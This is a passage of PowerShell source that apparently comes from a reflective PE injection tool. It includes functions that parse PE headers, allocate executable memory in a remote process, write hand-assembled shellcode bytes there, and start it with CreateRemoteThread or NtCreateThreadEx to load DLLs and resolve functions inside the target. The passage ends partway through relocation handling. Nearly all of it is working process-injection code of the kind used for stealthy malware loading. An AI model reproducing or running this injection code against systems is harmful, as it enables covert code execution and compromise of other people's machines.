  928.         if (($Result -eq $false) -or ($ErrorCode -ne 0))
  929.         {
  930.  
  931.         }
  932.  
  933.         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
  934.     }
  935.  
  936.  
  937.     Function Create-RemoteThread
  938.     {
  939.         Param(
  940.         [Parameter(Position = 1, Mandatory = $true)]
  941.         [IntPtr]
  942.         $ProcessHandle,
  943.  
  944.         [Parameter(Position = 2, Mandatory = $true)]
  945.         [IntPtr]
  946.         $StartAddress,
  947.  
  948.         [Parameter(Position = 3, Mandatory = $false)]
  949.         [IntPtr]
  950.         $ArgumentPtr = [IntPtr]::Zero,
  951.  
  952.         [Parameter(Position = 4, Mandatory = $true)]
  953.         [System.Object]
  954.         $Win32Functions
  955.         )
  956.  
  957.         [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
  958.  
  959.         $OSVersion = [Environment]::OSVersion.Version
  960.  
  961.         if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
  962.         {
  963.  
  964.             $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
  965.             $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  966.             if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  967.             {
  968.                 Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
  969.             }
  970.         }
  971.  
  972.         else
  973.         {
  974.  
  975.             $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
  976.         }
  977.  
  978.         if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  979.         {
  980.             Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
  981.         }
  982.  
  983.         return $RemoteThreadHandle
  984.     }
  985.  
  986.  
  987.  
  988.     Function Get-ImageNtHeaders
  989.     {
  990.         Param(
  991.         [Parameter(Position = 0, Mandatory = $true)]
  992.         [IntPtr]
  993.         $PEHandle,
  994.  
  995.         [Parameter(Position = 1, Mandatory = $true)]
  996.         [System.Object]
  997.         $Win32Types
  998.         )
  999.  
  1000.         $NtHeadersInfo = New-Object System.Object
  1001.  
  1002.  
  1003.         $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
  1004.  
  1005.  
  1006.         [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
  1007.         $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
  1008.         $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
  1009.  
  1010.  
  1011.         if ($imageNtHeaders64.Signature -ne 0x00004550)
  1012.         {
  1013.             throw "Invalid IMAGE_NT_HEADER signature."
  1014.         }
  1015.  
  1016.         if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
  1017.         {
  1018.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
  1019.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
  1020.         }
  1021.         else
  1022.         {
  1023.             $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
  1024.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
  1025.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
  1026.         }
  1027.  
  1028.         return $NtHeadersInfo
  1029.     }
  1030.  
  1031.  
  1032.  
  1033.     Function Get-PEBasicInfo
  1034.     {
  1035.         Param(
  1036.         [Parameter( Position = 0, Mandatory = $true )]
  1037.         [Byte[]]
  1038.         $PEBytes,
  1039.  
  1040.         [Parameter(Position = 1, Mandatory = $true)]
  1041.         [System.Object]
  1042.         $Win32Types
  1043.         )
  1044.  
  1045.         $PEInfo = New-Object System.Object
  1046.  
  1047.  
  1048.         [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
  1049.         [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
  1050.  
  1051.  
  1052.         $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
  1053.  
  1054.  
  1055.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
  1056.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
  1057.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1058.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
  1059.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
  1060.  
  1061.  
  1062.         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
  1063.  
  1064.         return $PEInfo
  1065.     }
  1066.  
  1067.  
  1068.  
  1069.  
  1070.     Function Get-PEDetailedInfo
  1071.     {
  1072.         Param(
  1073.         [Parameter( Position = 0, Mandatory = $true)]
  1074.         [IntPtr]
  1075.         $PEHandle,
  1076.  
  1077.         [Parameter(Position = 1, Mandatory = $true)]
  1078.         [System.Object]
  1079.         $Win32Types,
  1080.  
  1081.         [Parameter(Position = 2, Mandatory = $true)]
  1082.         [System.Object]
  1083.         $Win32Constants
  1084.         )
  1085.  
  1086.         if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
  1087.         {
  1088.             throw 'PEHandle is null or IntPtr.Zero'
  1089.         }
  1090.  
  1091.         $PEInfo = New-Object System.Object
  1092.  
  1093.  
  1094.         $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
  1095.  
  1096.  
  1097.         $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
  1098.         $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
  1099.         $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
  1100.         $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
  1101.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1102.  
  1103.         if ($PEInfo.PE64Bit -eq $true)
  1104.         {
  1105.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
  1106.             $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1107.         }
  1108.         else
  1109.         {
  1110.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
  1111.             $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1112.         }
  1113.  
  1114.         if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
  1115.         {
  1116.             $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
  1117.         }
  1118.         elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
  1119.         {
  1120.             $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
  1121.         }
  1122.         else
  1123.         {
  1124.             Throw "PE file is not an EXE or DLL"
  1125.         }
  1126.  
  1127.         return $PEInfo
  1128.     }
  1129.  
  1130.  
  1131.     Function Import-DllInRemoteProcess
  1132.     {
  1133.         Param(
  1134.         [Parameter(Position=0, Mandatory=$true)]
  1135.         [IntPtr]
  1136.         $RemoteProcHandle,
  1137.  
  1138.         [Parameter(Position=1, Mandatory=$true)]
  1139.         [IntPtr]
  1140.         $ImportDllPathPtr
  1141.         )
  1142.  
  1143.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1144.  
  1145.         $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1146.         $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
  1147.         $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1148.         if ($RImportDllPathPtr -eq [IntPtr]::Zero)
  1149.         {
  1150.             Throw "Unable to allocate memory in the remote process"
  1151.         }
  1152.  
  1153.         [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1154.         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
  1155.  
  1156.         if ($Success -eq $false)
  1157.         {
  1158.             Throw "Unable to write DLL path to remote process memory"
  1159.         }
  1160.         if ($DllPathSize -ne $NumBytesWritten)
  1161.         {
  1162.             Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1163.         }
  1164.  
  1165.         $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1166.         $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA")
  1167.  
  1168.         [IntPtr]$DllAddress = [IntPtr]::Zero
  1169.  
  1170.  
  1171.         if ($PEInfo.PE64Bit -eq $true)
  1172.         {
  1173.  
  1174.             $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1175.             if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
  1176.             {
  1177.                 Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
  1178.             }
  1179.  
  1180.  
  1181.  
  1182.             $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1183.             $LoadLibrarySC2 = @(0x48, 0xba)
  1184.             $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
  1185.             $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1186.  
  1187.             $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
  1188.             $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1189.             $SCPSMemOriginal = $SCPSMem
  1190.  
  1191.             Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
  1192.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
  1193.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
  1194.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1195.             Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
  1196.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
  1197.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
  1198.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1199.             Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
  1200.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
  1201.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
  1202.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1203.             Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
  1204.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
  1205.  
  1206.  
  1207.             $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1208.             if ($RSCAddr -eq [IntPtr]::Zero)
  1209.             {
  1210.                 Throw "Unable to allocate memory in the remote process for shellcode"
  1211.             }
  1212.  
  1213.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1214.             if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1215.             {
  1216.                 Throw "Unable to write shellcode to remote process memory."
  1217.             }
  1218.  
  1219.             $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1220.             $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1221.             if ($Result -ne 0)
  1222.             {
  1223.                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1224.             }
  1225.  
  1226.  
  1227.             [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1228.             $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1229.             if ($Result -eq $false)
  1230.             {
  1231.                 Throw "Call to ReadProcessMemory failed"
  1232.             }
  1233.             [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1234.  
  1235.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1236.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1237.         }
  1238.         else
  1239.         {
  1240.             [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
  1241.             $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1242.             if ($Result -ne 0)
  1243.             {
  1244.                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1245.             }
  1246.  
  1247.             [Int32]$ExitCode = 0
  1248.             $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
  1249.             if (($Result -eq 0) -or ($ExitCode -eq 0))
  1250.             {
  1251.                 Throw "Call to GetExitCodeThread failed"
  1252.             }
  1253.  
  1254.             [IntPtr]$DllAddress = [IntPtr]$ExitCode
  1255.         }
  1256.  
  1257.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1258.  
  1259.         return $DllAddress
  1260.     }
  1261.  
  1262.  
  1263.     Function Get-RemoteProcAddress
  1264.     {
  1265.         Param(
  1266.         [Parameter(Position=0, Mandatory=$true)]
  1267.         [IntPtr]
  1268.         $RemoteProcHandle,
  1269.  
  1270.         [Parameter(Position=1, Mandatory=$true)]
  1271.         [IntPtr]
  1272.         $RemoteDllHandle,
  1273.  
  1274.         [Parameter(Position=2, Mandatory=$true)]
  1275.         [IntPtr]
  1276.         $FunctionNamePtr,
  1277.  
  1278.         [Parameter(Position=3, Mandatory=$true)]
  1279.         [Bool]
  1280.         $LoadByOrdinal
  1281.         )
  1282.  
  1283.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1284.  
  1285.         [IntPtr]$RFuncNamePtr = [IntPtr]::Zero
  1286.  
  1287.         if (-not $LoadByOrdinal)
  1288.         {
  1289.             $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
  1290.  
  1291.  
  1292.             $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
  1293.             $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1294.             if ($RFuncNamePtr -eq [IntPtr]::Zero)
  1295.             {
  1296.                 Throw "Unable to allocate memory in the remote process"
  1297.             }
  1298.  
  1299.             [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1300.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
  1301.             if ($Success -eq $false)
  1302.             {
  1303.                 Throw "Unable to write DLL path to remote process memory"
  1304.             }
  1305.             if ($FunctionNameSize -ne $NumBytesWritten)
  1306.             {
  1307.                 Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1308.             }
  1309.         }
  1310.  
  1311.         else
  1312.         {
  1313.             $RFuncNamePtr = $FunctionNamePtr
  1314.         }
  1315.  
  1316.  
  1317.         $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1318.         $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress")
  1319.  
  1320.  
  1321.  
  1322.         $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1323.         if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
  1324.         {
  1325.             Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
  1326.         }
  1327.  
  1328.  
  1329.  
  1330.  
  1331.         [Byte[]]$GetProcAddressSC = @()
  1332.         if ($PEInfo.PE64Bit -eq $true)
  1333.         {
  1334.             $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1335.             $GetProcAddressSC2 = @(0x48, 0xba)
  1336.             $GetProcAddressSC3 = @(0x48, 0xb8)
  1337.             $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
  1338.             $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1339.         }
  1340.         else
  1341.         {
  1342.             $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
  1343.             $GetProcAddressSC2 = @(0xb9)
  1344.             $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
  1345.             $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
  1346.             $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
  1347.         }
  1348.         $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
  1349.         $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1350.         $SCPSMemOriginal = $SCPSMem
  1351.  
  1352.         Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
  1353.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
  1354.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
  1355.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1356.         Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
  1357.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
  1358.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
  1359.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1360.         Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
  1361.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
  1362.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
  1363.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1364.         Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
  1365.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
  1366.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
  1367.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1368.         Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
  1369.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
  1370.  
  1371.         $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1372.         if ($RSCAddr -eq [IntPtr]::Zero)
  1373.         {
  1374.             Throw "Unable to allocate memory in the remote process for shellcode"
  1375.         }
  1376.         [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1377.         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1378.         if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1379.         {
  1380.             Throw "Unable to write shellcode to remote process memory."
  1381.         }
  1382.  
  1383.         $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1384.         $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1385.         if ($Result -ne 0)
  1386.         {
  1387.             Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1388.         }
  1389.  
  1390.  
  1391.         [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1392.         $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1393.         if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
  1394.         {
  1395.             Throw "Call to ReadProcessMemory failed"
  1396.         }
  1397.         [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1398.  
  1399.  
  1400.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1401.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1402.  
  1403.         if (-not $LoadByOrdinal)
  1404.         {
  1405.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1406.         }
  1407.  
  1408.         return $ProcAddress
  1409.     }
  1410.  
  1411.  
  1412.     Function Copy-Sections
  1413.     {
  1414.         Param(
  1415.         [Parameter(Position = 0, Mandatory = $true)]
  1416.         [Byte[]]
  1417.         $PEBytes,
  1418.  
  1419.         [Parameter(Position = 1, Mandatory = $true)]
  1420.         [System.Object]
  1421.         $PEInfo,
  1422.  
  1423.         [Parameter(Position = 2, Mandatory = $true)]
  1424.         [System.Object]
  1425.         $Win32Functions,
  1426.  
  1427.         [Parameter(Position = 3, Mandatory = $true)]
  1428.         [System.Object]
  1429.         $Win32Types
  1430.         )
  1431.  
  1432.         for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1433.         {
  1434.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1435.             $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1436.  
  1437.  
  1438.             [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
  1439.  
  1440.  
  1441.  
  1442.  
  1443.  
  1444.             $SizeOfRawData = $SectionHeader.SizeOfRawData
  1445.  
  1446.             if ($SectionHeader.PointerToRawData -eq 0)
  1447.             {
  1448.                 $SizeOfRawData = 0
  1449.             }
  1450.  
  1451.             if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
  1452.             {
  1453.                 $SizeOfRawData = $SectionHeader.VirtualSize
  1454.             }
  1455.  
  1456.             if ($SizeOfRawData -gt 0)
  1457.             {
  1458.                 Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
  1459.                 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
  1460.             }
  1461.  
  1462.  
  1463.             if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
  1464.             {
  1465.                 $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
  1466.                 [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
  1467.                 Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
  1468.                 $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
  1469.             }
  1470.         }
  1471.     }
  1472.  
  1473.  
  1474.     Function Update-MemoryAddresses
  1475.     {
  1476.         Param(
  1477.         [Parameter(Position = 0, Mandatory = $true)]
  1478.         [System.Object]
  1479.         $PEInfo,
  1480.  
  1481.         [Parameter(Position = 1, Mandatory = $true)]
  1482.         [Int64]
  1483.         $OriginalImageBase,
  1484.  
  1485.         [Parameter(Position = 2, Mandatory = $true)]
  1486.         [System.Object]
  1487.         $Win32Constants,
  1488.  
  1489.         [Parameter(Position = 3, Mandatory = $true)]
  1490.         [System.Object]
  1491.         $Win32Types
  1492.         )
  1493.  
  1494.         [Int64]$BaseDifference = 0
  1495.         $AddDifference = $true
  1496.         [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1497.  
  1498.  
  1499.         if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
  1500.                 -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
  1501.         {
  1502.             return
  1503.         }
  1504.  
  1505.  
